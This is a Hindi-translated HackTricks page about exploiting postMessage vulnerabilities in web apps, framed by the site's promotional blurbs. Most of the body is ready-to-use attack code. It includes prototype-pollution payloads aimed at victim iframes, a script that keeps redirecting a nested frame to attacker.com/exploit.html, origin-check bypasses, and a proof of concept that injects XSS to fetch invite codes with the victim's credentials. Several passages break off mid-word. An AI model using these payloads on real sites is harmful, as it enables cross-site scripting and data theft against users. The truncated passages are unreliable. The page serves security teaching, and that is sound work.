14 KiB
PostMessage वंरबिलिटी
PostMessage वंरबिलिटी
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो करें।
- हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos.
PostMessage भेजें
PostMessage एक संदेश भेजने के लिए निम्नलिखित फ़ंक्शन का उपयोग करता है:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
ध्यान दें कि targetOrigin एक '*' या एक URL जैसे https://company.com हो सकता है।
दूसरे स्थिति में, संदेश केवल उस डोमेन पर भेजा जा सकता है (यदि विंडो ऑब्ज
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener शोषण
addEventListener
वह फ़ंक्शन है जिसका उपयोग JS द्वारा किया जाता है जो postMessages
की अपेक्षा कर रहा है।
निम्नलिखित कोड का उपयोग किया जाएगा:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
गणना
वर्तमान पृष्ठ में इवेंट लिस्टनर्स खोजने के लिए आप:
- JS कोड में
window.addEventListener
और$(window).on
(JQuery version) के लिए खोज करें - डेवलपर टूल्स कांसोल में निम्नलिखित को एक्सीक्यूट करें:
getEventListeners(window)
- ब्राउज़र के डेवलपर टूल्स में Elements --> Event Listeners पर जाएं
- https://github.com/benso-io/posta या https://github.com/fransr/postMessage-tracker जैसा ब्राउज़र एक्सटेंशन उपयोग करें। ये ब्राउज़र एक्सटेंशन सभी संदेशों को अंतर्दृष्टि करेंगे और आपको उन्हें दिखाएंगे।
मूल की जाँच छल
-
event.isTrusted
विशेषता को सुरक्षित माना जाता है क्योंकि यह केवल वास्तविक उपयोगकर्ता क्रियाओं द्वारा उत्पन्न इवेंट्स के लिएTrue
लौटाता है। यदि सही ढंग से लागू किया गया है, तो इसे छलने में कठिनाई होती है, लेकिन सुरक्षा जांचों में इसका महत्व विशेष है। -
PostMessage इवेंट में मूल की जाँच के लिए
indexOf()
का उपयोग छलने के लिए संभावित है। इस वंशानुक्रमण को दिखाने वाला एक उदाहरण निम्नलिखित है:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
String.prototype.search()
सेsearch()
विधि नियमित अभिव्यक्तियों के लिए है, स्ट्रिंग्स के लिए नहीं। रेगुलर एक्सप्रेशन के लिए कुछ भी नहीं पास करने से इसे इम्प्लिसिट रूप से रेगेक्स में बदल दिया जाता है, जिससे विधि संभावना सुरक्षित नहीं होती है। इसका कारण यह है कि रेगेक्स में डॉट (.) एक वाइल्डकार्ड के रूप में काम करता है, जिससे विशेष रूप से तैयार किए गए डोमेन के साथ मान्यता को छल सकती है। उदाहरण के रूप में:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
search()
की तरह,match()
फ़ंक्शन भी रेगेक्स को प्रोसेस करता है। यदि रेगेक्स गलती से निर्मित है, तो छलने के लिए संभावना हो सकती है। -
escapeHtml
फ़ंक्शन इनपुट को एस्केप करके साफ करने के लिए है। हालांकि, यह एक नया एस्केप्ड ऑब्ज
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
आप एक आइफ्रेम बना सकते हैं जो postMessage
भेजता है और तुरंत हटा दिया जाता है, जिससे संदेश का e.source
नल होने के लिए बनाया जा सकता है।
अधिक जानकारी के लिए पढ़ें:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
X-Frame-Header बाइपास
इन हमलों को करने के लिए आपको आमतौर पर विक्टिम वेब पेज को एक आइफ्रेम
में डालने की सुविधा होनी चाहिए। लेकिन कुछ हेडर्स जैसे X-Frame-Header
ऐसा व्यवहार रोक सकते हैं।
उन स्थितियों में आप एक कम गुप्त धारण का उपयोग कर सकते हैं। आप विकल्पित वेब एप्लिकेशन के लिए एक नया टैब खोल सकते हैं और इसके साथ संवाद कर सकते हैं:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
मुख्य पृष्ठ को ब्लॉक करके बच्चे को भेजे गए संदेश को चुराना
निम्नलिखित पृष्ठ पर आप देख सकते हैं कि आप मुख्य पृष्ठ को ब्लॉक करके डेटा भेजने से पहले एक बच्चा आइफ्रेम को चुराने के लिए कैसे उपयोग कर सकते हैं संवेदनशील पोस्टमैसेज डेटा और बच्चे में XSS का दुरुपयोग करके डेटा चुराने:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
आइफ्रेम स्थान को संशोधित करके संदेश चुर
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
अधिक जानकारी के लिए:
- प्रोटोटाइप पोल्यूशन के बारे में पेज के लिंक
- XSS के बारे में पेज के लिंक
- क्लाइंट साइड प्रोटोटाइप पोल्यूशन से XSS के बारे में पेज के लिंक
संदर्भ
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- अभ्यास के लिए: https://github.com/yavolo/eventlistener-xss-recon
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स की जांच करें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs संग्रह The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm पर फॉलो करें।
- हैकिंग ट्रिक्स साझा करें द्वारा पीआर जमा करके HackTricks और HackTricks Cloud github रेपो में।